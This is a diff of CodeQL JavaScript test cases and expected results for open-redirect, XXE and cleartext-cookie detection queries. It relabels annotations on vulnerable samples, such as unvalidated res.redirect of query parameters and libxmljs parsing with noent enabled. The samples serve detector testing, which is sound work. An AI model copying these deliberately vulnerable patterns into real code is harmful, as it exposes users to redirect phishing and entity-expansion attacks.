-| express.js:160:18:160:23 | target | express.js:150:16:150:34 | req.param("target") | express.js:160:18:160:23 | target | Untrusted URL redirection depends on a $@. | express.js:150:16:150:34 | req.param("target") | user-provided value |
-| express.js:165:16:165:22 | myThing | express.js:164:32:164:40 | req.query | express.js:165:16:165:22 | myThing | Untrusted URL redirection depends on a $@. | express.js:164:32:164:40 | req.query | user-provided value |
-| koa.js:7:15:7:17 | url | koa.js:6:12:6:27 | ctx.query.target | koa.js:7:15:7:17 | url | Untrusted URL redirection depends on a $@. | koa.js:6:12:6:27 | ctx.query.target | user-provided value |
-| koa.js:8:15:8:26 | `${url}${x}` | koa.js:6:12:6:27 | ctx.query.target | koa.js:8:15:8:26 | `${url}${x}` | Untrusted URL redirection depends on a $@. | koa.js:6:12:6:27 | ctx.query.target | user-provided value |
-| koa.js:14:16:14:18 | url | koa.js:6:12:6:27 | ctx.query.target | koa.js:14:16:14:18 | url | Untrusted URL redirection depends on a $@. | koa.js:6:12:6:27 | ctx.query.target | user-provided value |
-| koa.js:20:16:20:18 | url | koa.js:6:12:6:27 | ctx.query.target | koa.js:20:16:20:18 | url | Untrusted URL redirection depends on a $@. | koa.js:6:12:6:27 | ctx.query.target | user-provided value |
-| next.ts:11:31:11:50 | req.body.callbackUrl | next.ts:11:31:11:38 | req.body | next.ts:11:31:11:50 | req.body.callbackUrl | Untrusted URL redirection depends on a $@. | next.ts:11:31:11:38 | req.body | user-provided value |
-| node.js:6:34:6:39 | target | node.js:5:26:5:32 | req.url | node.js:6:34:6:39 | target | Untrusted URL redirection depends on a $@. | node.js:5:26:5:32 | req.url | user-provided value |
-| node.js:14:34:14:45 | '/' + target | node.js:10:26:10:32 | req.url | node.js:14:34:14:45 | '/' + target | Untrusted URL redirection depends on a $@. | node.js:10:26:10:32 | req.url | user-provided value |
-| node.js:31:34:31:55 | target  ... =" + me | node.js:28:26:28:32 | req.url | node.js:31:34:31:55 | target  ... =" + me | Untrusted URL redirection depends on a $@. | node.js:28:26:28:32 | req.url | user-provided value |
-| react-native.js:8:17:8:23 | tainted | react-native.js:7:17:7:33 | req.param("code") | react-native.js:8:17:8:23 | tainted | Untrusted URL redirection depends on a $@. | react-native.js:7:17:7:33 | req.param("code") | user-provided value |
-| react-native.js:9:26:9:32 | tainted | react-native.js:7:17:7:33 | req.param("code") | react-native.js:9:26:9:32 | tainted | Untrusted URL redirection depends on a $@. | react-native.js:7:17:7:33 | req.param("code") | user-provided value |
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/ServerSideUrlRedirect.js b/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/ServerSideUrlRedirect.js
index 38538fc0f964..f0ed29c3faea 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/ServerSideUrlRedirect.js
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/ServerSideUrlRedirect.js
@@ -1,6 +1,5 @@
 const app = require("express")();
 
 app.get("/redirect", function (req, res) {
-  // BAD: a request parameter is incorporated without validation into a URL redirect
-  res.redirect(req.query["target"]);
+  res.redirect(req.query["target"]); // $ Alert - a request parameter is incorporated without validation into a URL redirect
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/ServerSideUrlRedirect.qlref b/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/ServerSideUrlRedirect.qlref
index dc5bf7c3f710..b0de00422b93 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/ServerSideUrlRedirect.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/ServerSideUrlRedirect.qlref
@@ -1 +1,2 @@
-Security/CWE-601/ServerSideUrlRedirect.ql
+query: Security/CWE-601/ServerSideUrlRedirect.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/ServerSideUrlRedirectGood.js b/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/ServerSideUrlRedirectGood.js
index 179f28ccb0bd..452a6cf76928 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/ServerSideUrlRedirectGood.js
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/ServerSideUrlRedirectGood.js
@@ -3,7 +3,7 @@ const app = require("express")();
 const VALID_REDIRECT = "http://cwe.mitre.org/data/definitions/601.html";
 
 app.get("/redirect", function (req, res) {
-  // GOOD: the request parameter is validated against a known fixed string
+  // OK - the request parameter is validated against a known fixed string
   let target = req.query["target"];
   if (VALID_REDIRECT === target) {
     res.redirect(target);
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/ServerSideUrlRedirectGood2.js b/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/ServerSideUrlRedirectGood2.js
index 54ac26811b31..2cbabc7891f3 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/ServerSideUrlRedirectGood2.js
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/ServerSideUrlRedirectGood2.js
@@ -12,10 +12,10 @@ function isLocalUrl(path) {
 }
 
 app.get("/redirect", function (req, res) {
-  // GOOD: check that we don't redirect to a different host
-  let target = req.query["target"];
+  // OK - check that we don't redirect to a different host
+  let target = req.query["target"]; // $ Source
   if (isLocalUrl(target)) {
-    res.redirect(target);
+    res.redirect(target); // $ SPURIOUS: Alert - sanitiser not recognised
   } else {
     res.redirect("/");
   }
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/express.js b/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/express.js
index b12ef66622b7..42066abaf590 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/express.js
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/express.js
@@ -3,41 +3,36 @@ var express = require('express');
 var app = express();
 
 app.get('/some/path', function(req, res) {
-  // BAD: a request parameter is incorporated without validation into a URL redirect
-  res.redirect(req.param("target"));
+  res.redirect(req.param("target")); // $ Alert - a request parameter is incorporated without validation into a URL redirect
 });
 
 app.all(function(req, res) {
-  // BAD: a request parameter is incorporated without validation into a URL redirect
-  res.header("Location", req.param("target"));
+  res.header("Location", req.param("target")); // $ Alert - a request parameter is incorporated without validation into a URL redirect
 });
 
 app.get('/some/other/path', function(req, res) {
-  // GOOD: request parameter is embedded in query string
+  // OK - request parameter is embedded in query string
   res.redirect(someUrl() + "?target=" + req.param("target"));
 });
 
 const HASH = "#";
 app.get('/some/other/path2', function(req, res) {
-  // GOOD: request parameter is embedded in hash
+  // OK - request parameter is embedded in hash
   res.redirect(someUrl() + (HASH + req.param("anchor")));
 });
 
 app.get('/some/path', function(req, res) {
-  var target = req.param("target");
-  if (isLocalURL(target))
-    // GOOD: request parameter is sanitized before incorporating it into the redirect
+  var target = req.param("target"); // $ Source
+  if (target.startsWith("http://example.com/"))
+    // OK - request parameter is sanitized before incorporating it into the redirect
     res.redirect(target);
   else
-    // BAD: sanitization doesn't apply here
-    res.redirect(target);
-  // BAD: sanitization doesn't apply here
-  res.redirect(target);
+    res.redirect(target); // $ Alert - sanitization doesn't apply here
+  res.redirect(target); // $ Alert - sanitization doesn't apply here
 });
 
 app.get('/foo', function(req, res) {
-  // BAD: may be a global redirection
-  res.redirect((req.param('action') && req.param('action') != "") ? req.param('action') : "/google_contacts")
+  res.redirect((req.param('action') && req.param('action') != "") ? req.param('action') : "/google_contacts") // $ Alert - may be a global redirection
 });
 
 app.get('/bar', function(req, res, next) {
@@ -45,7 +40,7 @@ app.get('/bar', function(req, res, next) {
   var url = "/Me/" + handle + "/";
   var qs = querystring.stringify(req.query);
   if (qs.length > 0) url += "?" + qs;
-  // GOOD: local redirect
+  // OK - local redirect
   res.header("Location", url);
 });
 
@@ -57,7 +52,7 @@ router.put('/putasync/:retry/:finalState', function (req, res, next) {
     var pollingUri = 'http://localhost:' + utils.getPort() + '/lro/putasync/' + retry + '/' + finalState.toLowerCase() + '/operationResults/200/';
     var headers = {
       'Azure-AsyncOperation': pollingUri,
-      // GOOD: localhost redirect
+      // OK - localhost redirect
       'Location': pollingUri
     };
     if (retry === 'retry') {
@@ -70,37 +65,34 @@ router.put('/putasync/:retry/:finalState', function (req, res, next) {
 });
 
 app.get('/yet/another/path', function(req, res) {
-  // BAD: a request parameter is incorporated without validation into a URL redirect
-  res.redirect(`${req.param("target")}/foo`);
+  res.redirect(`${req.param("target")}/foo`); // $ Alert - a request parameter is incorporated without validation into a URL redirect
 });
 
 app.get('/hopefully/the/final/path', function(req, res) {
-  // GOOD: request parameter is embedded in query string
+  // OK - request parameter is embedded in query string
   res.redirect(`${someUrl()}?target=${req.param("target")}`);
 });
 
 app.get('/some/path', function(req, res) {
-  let target = req.param("target");
+  let target = req.param("target"); // $ Source
 
-  // GOOD: request parameter is checked against whitelist
+  // OK - request parameter is checked against whitelist
   if (SAFE_TARGETS.hasOwnProperty(target))
     res.redirect(target);
   else
-    // BAD: check does not apply here
-    res.redirect(target);
+    res.redirect(target); // $ Alert - check does not apply here
 
-  // GOOD: request parameter is checked against whitelist
+  // OK - request parameter is checked against whitelist
   if (target in SAFE_TARGETS)
     res.redirect(target);
 
-  // BAD: check does not apply here
-  res.redirect(target);
+  res.redirect(target); // $ Alert - check does not apply here
 
-  // GOOD: request parameter is checked against whitelist
+  // OK - request parameter is checked against whitelist
   if (SAFE_TARGETS[target] != undefined)
     res.redirect(target);
 
-  // GOOD: request parameter is checked against whitelist
+  // OK - request parameter is checked against whitelist
   if (void(0) == SAFE_TARGETS[target])
     res.send("Denied!");
   else
@@ -108,59 +100,57 @@ app.get('/some/path', function(req, res) {
 });
 
 app.get('/array/join', function(req, res) {
-  // GOOD: request input embedded in query string
+  // OK - request input embedded in query string
   res.redirect(['index.html?section=', req.query.section].join(''));
 
-  // GOOD: request input still embedded in query string
+  // OK - request input still embedded in query string
   res.redirect(['index.html?section=', '34'].join('') + '&subsection=' + req.query.subsection);
 
-  // BAD: request input becomes before query string
-  res.redirect([req.query.page, '?section=', req.query.section].join(''));
+  res.redirect([req.query.page, '?section=', req.query.section].join('')); // $ Alert - request input becomes before query string
 });
 
 function sendUserToUrl(res, nextUrl) {
-  // BAD: value comes from query parameter
-  res.redrect(nextUrl);
+  res.redirect(nextUrl); // $ Alert - value comes from query parameter
 }
 
 app.get('/call', function(req, res) {
-  sendUserToUrl(res, req.query.nextUrl);
+  sendUserToUrl(res, req.query.nextUrl); // $ Source
 });
 
 app.get('/redirect/:user', function(req, res) {
-  res.redirect('/users/' + req.params.user); // GOOD
-  res.redirect('users/' + req.params.user); // GOOD
+  res.redirect('/users/' + req.params.user);
+  res.redirect('users/' + req.params.user);
 
-  res.redirect('/' + req.params.user); // BAD - could go to //evil.com
-  res.redirect('//' + req.params.user); // BAD - could go to //evil.com
-  res.redirect('u' + req.params.user); // BAD - could go to u.evil.com
+  res.redirect('/' + req.params.user); // $ Alert - could go to //evil.com
+  res.redirect('//' + req.params.user); // $ Alert - could go to //evil.com
+  res.redirect('u' + req.params.user); // $ Alert - could go to u.evil.com
 
-  res.redirect('/' + ('/u' + req.params.user)); // BAD - could go to //u.evil.com, but not flagged [INCONSISTENCY]
-  res.redirect('/u' + req.params.user); // GOOD
+  res.redirect('/' + ('/u' + req.params.user)); // $ MISSING: Alert - could go to //u.evil.com, but not flagged
+  res.redirect('/u' + req.params.user);
 });
 
 app.get("foo", (req, res) => {
-  res.redirect(req.query.foo); // NOT OK
+  res.redirect(req.query.foo); // $ Alert
 });
 app.get("bar", ({query}, res) => {
-  res.redirect(query.foo); // NOT OK
+  res.redirect(query.foo); // $ Alert
 })
 
 app.get('/some/path', function(req, res) {
-  let target = req.param("target");
+  let target = req.param("target"); // $ Source
   
   if (SAFE_TARGETS.hasOwnProperty(target))
-    res.redirect(target); // OK: request parameter is checked against whitelist
+    res.redirect(target); // OK - request parameter is checked against whitelist
   else
-    res.redirect(target); // NOT OK
+    res.redirect(target); // $ Alert
 
   if (Object.hasOwn(SAFE_TARGETS, target))
-    res.redirect(target); // OK: request parameter is checked against whitelist
+    res.redirect(target); // OK - request parameter is checked against whitelist
   else
-    res.redirect(target); // NOT OK
+    res.redirect(target); // $ Alert
 });
 
 app.get("/foo/:bar/:baz", (req, res) => {
-  let myThing = JSON.stringify(req.query).slice(1, -1);
-  res.redirect(myThing); // NOT OK
+  let myThing = JSON.stringify(req.query).slice(1, -1); // $ Source
+  res.redirect(myThing); // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/koa.js b/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/koa.js
index 7f674039e5fc..54e2ec780f9d 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/koa.js
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/koa.js
@@ -3,27 +3,27 @@ const urlLib = require('url');
 const app = new Koa();
 
 app.use(async ctx => {
-	var url = ctx.query.target;
-	ctx.redirect(url); // NOT OK
-	ctx.redirect(`${url}${x}`); // NOT OK
+	var url = ctx.query.target; // $ Source
+	ctx.redirect(url); // $ Alert
+	ctx.redirect(`${url}${x}`); // $ Alert
 
 	var isCrossDomainRedirect = urlLib.parse(url || '', false, true).hostname;
 	if(!url || isCrossDomainRedirect) {
-		ctx.redirect('/'); // OK
+		ctx.redirect('/');
 	} else {
-		ctx.redirect(url); // NOT OK
+		ctx.redirect(url); // $ Alert
 	}
 
 	if(!url || isCrossDomainRedirect || url.match(VALID)) {
-		ctx.redirect('/'); // OK
+		ctx.redirect('/');
 	} else {
-		ctx.redirect(url); // possibly OK - flagged anyway
+		ctx.redirect(url); // $ Alert - possibly OK but flagged anyway
 	}
 
 	if(!url || isCrossDomainRedirect || url.match(/[^\w/-]/)) {
-		ctx.redirect('/'); // OK
+		ctx.redirect('/');
 	} else {
-		ctx.redirect(url); // OK
+		ctx.redirect(url);
 	}
 });
 
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/next.ts b/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/next.ts
index 14da7c4f5ba0..6ea44d06d7cc 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/next.ts
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/next.ts
@@ -8,5 +8,5 @@ export async function handler(
   req: NextApiRequest,
   res: NextApiResponse
 ) {
-    res.setHeader("Location", req.body.callbackUrl); // NOT OK
+    res.setHeader("Location", req.body.callbackUrl); // $ Alert
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/node.js b/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/node.js
index 499266845a28..33ed310da3c9 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/node.js
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/node.js
@@ -2,31 +2,29 @@ var https = require('https');
 var url = require('url');
 
 var server = https.createServer(function(req, res) {
-  let target = url.parse(req.url, true).query.target;
-  res.writeHead(302, { Location: target }); // BAD: a request parameter is incorporated without validation into a URL redirect
+  let target = url.parse(req.url, true).query.target; // $ Source
+  res.writeHead(302, { Location: target }); // $ Alert - a request parameter is incorporated without validation into a URL redirect
 })
 
 server.on('request', (req, res) => {
-  let target = url.parse(req.url, true).query.target;
-  // GOOD: local redirects are unproblematic
+  let target = url.parse(req.url, true).query.target; // $ Source
+  // OK - local redirects are unproblematic
   res.writeHead(302, { Location: '/local/' + target });
-  // BAD: this could be a non-local redirect
-  res.writeHead(302, { Location: '/' + target });
-  // GOOD: localhost redirects are unproblematic
+  res.writeHead(302, { Location: '/' + target }); // $ Alert - this could be a non-local redirect
+  // OK - localhost redirects are unproblematic
   res.writeHead(302, { Location: '//localhost/' + target });
 })
 
 server.on('request', (req, res) => {
   let target = url.parse(req.url, true).query.target;
-  // GOOD: comparison against known URLs
+  // OK - comparison against known URLs
   if (target === 'semmle.com')
     res.writeHead(302, { Location: target });
 })
 
 
 server.on('request', (req, res) => {
-  let target = url.parse(req.url, true).query.target;
+  let target = url.parse(req.url, true).query.target; // $ Source
   let me = "me"
-  // BAD: may be a global redirection
-  res.writeHead(302, { Location: target + "?from=" + me });
+  res.writeHead(302, { Location: target + "?from=" + me }); // $ Alert - may be a global redirection
 })
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/react-native.js b/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/react-native.js
index 60f1fce7c855..ce79b2ca49d4 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/react-native.js
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/react-native.js
@@ -4,7 +4,7 @@ import { WebView } from 'react-native';
 var app = express();
 
 app.get('/some/path', function(req, res) {
-  let tainted = req.param("code");
-  <WebView url={tainted}/>;            // NOT OK
-  <WebView source={{uri: tainted}}/>;  // NOT OK
+  let tainted = req.param("code"); // $ Source
+  <WebView url={tainted}/>;            // $ Alert
+  <WebView source={{uri: tainted}}/>;  // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-611/Xxe.expected b/javascript/ql/test/query-tests/Security/CWE-611/Xxe.expected
index 7bcfc58847a9..4b946c920428 100644
--- a/javascript/ql/test/query-tests/Security/CWE-611/Xxe.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-611/Xxe.expected
@@ -1,27 +1,27 @@
+#select
+| domparser.js:10:55:10:57 | src | domparser.js:2:13:2:36 | documen ... .search | domparser.js:10:55:10:57 | src | XML parsing depends on a $@ without guarding against external entity expansion. | domparser.js:2:13:2:36 | documen ... .search | user-provided value |
+| domparser.js:12:57:12:59 | src | domparser.js:2:13:2:36 | documen ... .search | domparser.js:12:57:12:59 | src | XML parsing depends on a $@ without guarding against external entity expansion. | domparser.js:2:13:2:36 | documen ... .search | user-provided value |
+| libxml.noent.js:5:21:5:41 | req.par ... e-xml") | libxml.noent.js:5:21:5:41 | req.par ... e-xml") | libxml.noent.js:5:21:5:41 | req.par ... e-xml") | XML parsing depends on a $@ without guarding against external entity expansion. | libxml.noent.js:5:21:5:41 | req.par ... e-xml") | user-provided value |
+| libxml.noent.js:9:21:9:41 | req.par ... e-xml") | libxml.noent.js:9:21:9:41 | req.par ... e-xml") | libxml.noent.js:9:21:9:41 | req.par ... e-xml") | XML parsing depends on a $@ without guarding against external entity expansion. | libxml.noent.js:9:21:9:41 | req.par ... e-xml") | user-provided value |
+| libxml.noent.js:11:27:11:47 | req.par ... e-xml") | libxml.noent.js:11:27:11:47 | req.par ... e-xml") | libxml.noent.js:11:27:11:47 | req.par ... e-xml") | XML parsing depends on a $@ without guarding against external entity expansion. | libxml.noent.js:11:27:11:47 | req.par ... e-xml") | user-provided value |
+| libxml.noent.js:12:27:12:66 | req.fil ... 'utf8') | libxml.noent.js:12:27:12:35 | req.files | libxml.noent.js:12:27:12:66 | req.fil ... 'utf8') | XML parsing depends on a $@ without guarding against external entity expansion. | libxml.noent.js:12:27:12:35 | req.files | user-provided value |
+| libxml.sax.js:6:22:6:42 | req.par ... e-xml") | libxml.sax.js:6:22:6:42 | req.par ... e-xml") | libxml.sax.js:6:22:6:42 | req.par ... e-xml") | XML parsing depends on a $@ without guarding against external entity expansion. | libxml.sax.js:6:22:6:42 | req.par ... e-xml") | user-provided value |
+| libxml.saxpush.js:6:15:6:35 | req.par ... e-xml") | libxml.saxpush.js:6:15:6:35 | req.par ... e-xml") | libxml.saxpush.js:6:15:6:35 | req.par ... e-xml") | XML parsing depends on a $@ without guarding against external entity expansion. | libxml.saxpush.js:6:15:6:35 | req.par ... e-xml") | user-provided value |
 edges
-| domparser.js:2:7:2:36 | src | domparser.js:11:55:11:57 | src | provenance |  |
-| domparser.js:2:7:2:36 | src | domparser.js:14:57:14:59 | src | provenance |  |
+| domparser.js:2:7:2:36 | src | domparser.js:10:55:10:57 | src | provenance |  |
+| domparser.js:2:7:2:36 | src | domparser.js:12:57:12:59 | src | provenance |  |
 | domparser.js:2:13:2:36 | documen ... .search | domparser.js:2:7:2:36 | src | provenance |  |
-| libxml.noent.js:16:27:16:35 | req.files | libxml.noent.js:16:27:16:66 | req.fil ... 'utf8') | provenance |  |
+| libxml.noent.js:12:27:12:35 | req.files | libxml.noent.js:12:27:12:66 | req.fil ... 'utf8') | provenance |  |
 nodes
 | domparser.js:2:7:2:36 | src | semmle.label | src |
 | domparser.js:2:13:2:36 | documen ... .search | semmle.label | documen ... .search |
-| domparser.js:11:55:11:57 | src | semmle.label | src |
-| domparser.js:14:57:14:59 | src | semmle.label | src |
-| libxml.noent.js:6:21:6:41 | req.par ... e-xml") | semmle.label | req.par ... e-xml") |
-| libxml.noent.js:11:21:11:41 | req.par ... e-xml") | semmle.label | req.par ... e-xml") |
-| libxml.noent.js:14:27:14:47 | req.par ... e-xml") | semmle.label | req.par ... e-xml") |
-| libxml.noent.js:16:27:16:35 | req.files | semmle.label | req.files |
-| libxml.noent.js:16:27:16:66 | req.fil ... 'utf8') | semmle.label | req.fil ... 'utf8') |
+| domparser.js:10:55:10:57 | src | semmle.label | src |
+| domparser.js:12:57:12:59 | src | semmle.label | src |
+| libxml.noent.js:5:21:5:41 | req.par ... e-xml") | semmle.label | req.par ... e-xml") |
+| libxml.noent.js:9:21:9:41 | req.par ... e-xml") | semmle.label | req.par ... e-xml") |
+| libxml.noent.js:11:27:11:47 | req.par ... e-xml") | semmle.label | req.par ... e-xml") |
+| libxml.noent.js:12:27:12:35 | req.files | semmle.label | req.files |
+| libxml.noent.js:12:27:12:66 | req.fil ... 'utf8') | semmle.label | req.fil ... 'utf8') |
 | libxml.sax.js:6:22:6:42 | req.par ... e-xml") | semmle.label | req.par ... e-xml") |
 | libxml.saxpush.js:6:15:6:35 | req.par ... e-xml") | semmle.label | req.par ... e-xml") |
 subpaths
-#select
-| domparser.js:11:55:11:57 | src | domparser.js:2:13:2:36 | documen ... .search | domparser.js:11:55:11:57 | src | XML parsing depends on a $@ without guarding against external entity expansion. | domparser.js:2:13:2:36 | documen ... .search | user-provided value |
-| domparser.js:14:57:14:59 | src | domparser.js:2:13:2:36 | documen ... .search | domparser.js:14:57:14:59 | src | XML parsing depends on a $@ without guarding against external entity expansion. | domparser.js:2:13:2:36 | documen ... .search | user-provided value |
-| libxml.noent.js:6:21:6:41 | req.par ... e-xml") | libxml.noent.js:6:21:6:41 | req.par ... e-xml") | libxml.noent.js:6:21:6:41 | req.par ... e-xml") | XML parsing depends on a $@ without guarding against external entity expansion. | libxml.noent.js:6:21:6:41 | req.par ... e-xml") | user-provided value |
-| libxml.noent.js:11:21:11:41 | req.par ... e-xml") | libxml.noent.js:11:21:11:41 | req.par ... e-xml") | libxml.noent.js:11:21:11:41 | req.par ... e-xml") | XML parsing depends on a $@ without guarding against external entity expansion. | libxml.noent.js:11:21:11:41 | req.par ... e-xml") | user-provided value |
-| libxml.noent.js:14:27:14:47 | req.par ... e-xml") | libxml.noent.js:14:27:14:47 | req.par ... e-xml") | libxml.noent.js:14:27:14:47 | req.par ... e-xml") | XML parsing depends on a $@ without guarding against external entity expansion. | libxml.noent.js:14:27:14:47 | req.par ... e-xml") | user-provided value |
-| libxml.noent.js:16:27:16:66 | req.fil ... 'utf8') | libxml.noent.js:16:27:16:35 | req.files | libxml.noent.js:16:27:16:66 | req.fil ... 'utf8') | XML parsing depends on a $@ without guarding against external entity expansion. | libxml.noent.js:16:27:16:35 | req.files | user-provided value |
-| libxml.sax.js:6:22:6:42 | req.par ... e-xml") | libxml.sax.js:6:22:6:42 | req.par ... e-xml") | libxml.sax.js:6:22:6:42 | req.par ... e-xml") | XML parsing depends on a $@ without guarding against external entity expansion. | libxml.sax.js:6:22:6:42 | req.par ... e-xml") | user-provided value |
-| libxml.saxpush.js:6:15:6:35 | req.par ... e-xml") | libxml.saxpush.js:6:15:6:35 | req.par ... e-xml") | libxml.saxpush.js:6:15:6:35 | req.par ... e-xml") | XML parsing depends on a $@ without guarding against external entity expansion. | libxml.saxpush.js:6:15:6:35 | req.par ... e-xml") | user-provided value |
diff --git a/javascript/ql/test/query-tests/Security/CWE-611/closure.js b/javascript/ql/test/query-tests/Security/CWE-611/closure.js
index 3543d524101e..cd0697e1b773 100644
--- a/javascript/ql/test/query-tests/Security/CWE-611/closure.js
+++ b/javascript/ql/test/query-tests/Security/CWE-611/closure.js
@@ -1,5 +1,5 @@
 function test() {
   var src = document.location.search;
-  // OK: Closure does not expand external entities
+  // OK - Closure does not expand external entities
   goog.dom.xml.loadXml(src);
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-611/domparser.js b/javascript/ql/test/query-tests/Security/CWE-611/domparser.js
index eeb2236a1d12..ac133a1ce9fe 100644
--- a/javascript/ql/test/query-tests/Security/CWE-611/domparser.js
+++ b/javascript/ql/test/query-tests/Security/CWE-611/domparser.js
@@ -2,16 +2,14 @@ function test() {
   var src = document.location.search; // $ Source=search
 
   if (window.DOMParser) {
-    // OK: DOMParser only expands internal general entities
+    // OK - DOMParser only expands internal general entities
     new DOMParser().parseFromString(src, 'text/xml');
   } else {
     var parser;
     try {
-      // NOT OK: XMLDOM expands external entities by default
-      (new ActiveXObject("Microsoft.XMLDOM")).loadXML(src); // $ Alert=search
+      (new ActiveXObject("Microsoft.XMLDOM")).loadXML(src); // $ Alert=search // $ Alert - XMLDOM expands external entities by default
     } catch (e) {
-      // NOT OK: MSXML expands external entities by default
-      (new ActiveXObject("Msxml2.DOMDocument")).loadXML(src); // $ Alert=search
+      (new ActiveXObject("Msxml2.DOMDocument")).loadXML(src); // $ Alert=search // $ Alert - MSXML expands external entities by default
     }
   }
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-611/expat.js b/javascript/ql/test/query-tests/Security/CWE-611/expat.js
index 8b138fac02aa..8cde887faaa9 100644
--- a/javascript/ql/test/query-tests/Security/CWE-611/expat.js
+++ b/javascript/ql/test/query-tests/Security/CWE-611/expat.js
@@ -2,7 +2,7 @@ const express = require('express');
 const expat = require('node-expat');
 
 express().get('/some/path', function(req) {
-  // OK: expat does not expands external entities
+  // OK - expat does not expands external entities
   var parser = new expat.Parser();
   parser.write(req.param("some-xml"));
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-611/libxml.js b/javascript/ql/test/query-tests/Security/CWE-611/libxml.js
index d5101dd2ac95..9f92230e5e9f 100644
--- a/javascript/ql/test/query-tests/Security/CWE-611/libxml.js
+++ b/javascript/ql/test/query-tests/Security/CWE-611/libxml.js
@@ -2,6 +2,6 @@ const express = require('express');
 const libxmljs = require('libxmljs');
 
 express().get('/some/path', function(req) {
-  // OK: libxml does not expand entities by default
+  // OK - libxml does not expand entities by default
   libxmljs.parseXml(req.param("some-xml"));
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-611/libxml.noent.js b/javascript/ql/test/query-tests/Security/CWE-611/libxml.noent.js
index 4596dc7be398..7fb64e4781e0 100644
--- a/javascript/ql/test/query-tests/Security/CWE-611/libxml.noent.js
+++ b/javascript/ql/test/query-tests/Security/CWE-611/libxml.noent.js
@@ -2,18 +2,14 @@ const express = require('express');
 const libxmljs = require('libxmljs');
 
 express().get('/some/path', function (req) {
-  // NOT OK: unguarded entity expansion
-  libxmljs.parseXml(req.param("some-xml"), { noent: true }); // $ Alert
+  libxmljs.parseXml(req.param("some-xml"), { noent: true }); // $ Alert - unguarded entity expansion
 });
 
 express().post('/some/path', function (req, res) {
-  // NOT OK: unguarded entity expansion
-  libxmljs.parseXml(req.param("some-xml"), { noent: true }); // $ Alert
+  libxmljs.parseXml(req.param("some-xml"), { noent: true }); // $ Alert - unguarded entity expansion
 
-  // NOT OK: unguarded entity expansion
-  libxmljs.parseXmlString(req.param("some-xml"), { noent: true }) // $ Alert
-  // NOT OK: unguarded entity expansion
-  libxmljs.parseXmlString(req.files.products.data.toString('utf8'), { noent: true })// $ Alert
+  libxmljs.parseXmlString(req.param("some-xml"), { noent: true }) // $ Alert - unguarded entity expansion
+  libxmljs.parseXmlString(req.files.products.data.toString('utf8'), { noent: true })// $ Alert - unguarded entity expansion
 
   // OK - no entity expansion
   libxmljs.parseXmlString(req.files.products.data.toString('utf8'), { noent: false })
diff --git a/javascript/ql/test/query-tests/Security/CWE-614/ClearTextCookie.expected b/javascript/ql/test/query-tests/Security/CWE-614/ClearTextCookie.expected
index c3be15ef2371..799056651486 100644
--- a/javascript/ql/test/query-tests/Security/CWE-614/ClearTextCookie.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-614/ClearTextCookie.expected
@@ -1,16 +1,16 @@
 | tst-cleartextCookie.js:5:5:10:10 | res.coo ...      }) | Sensitive cookie sent without enforcing SSL encryption. |
 | tst-cleartextCookie.js:20:5:20:43 | res.coo ... ptions) | Sensitive cookie sent without enforcing SSL encryption. |
 | tst-cleartextCookie.js:35:1:35:52 | js_cook ... alse }) | Sensitive cookie sent without enforcing SSL encryption. |
-| tst-cleartextCookie.js:44:37:44:51 | "authKey=ninja" | Sensitive cookie sent without enforcing SSL encryption. |
-| tst-cleartextCookie.js:64:13:64:27 | "authKey=ninja" | Sensitive cookie sent without enforcing SSL encryption. |
-| tst-cleartextCookie.js:97:13:97:25 | "authKey=foo" | Sensitive cookie sent without enforcing SSL encryption. |
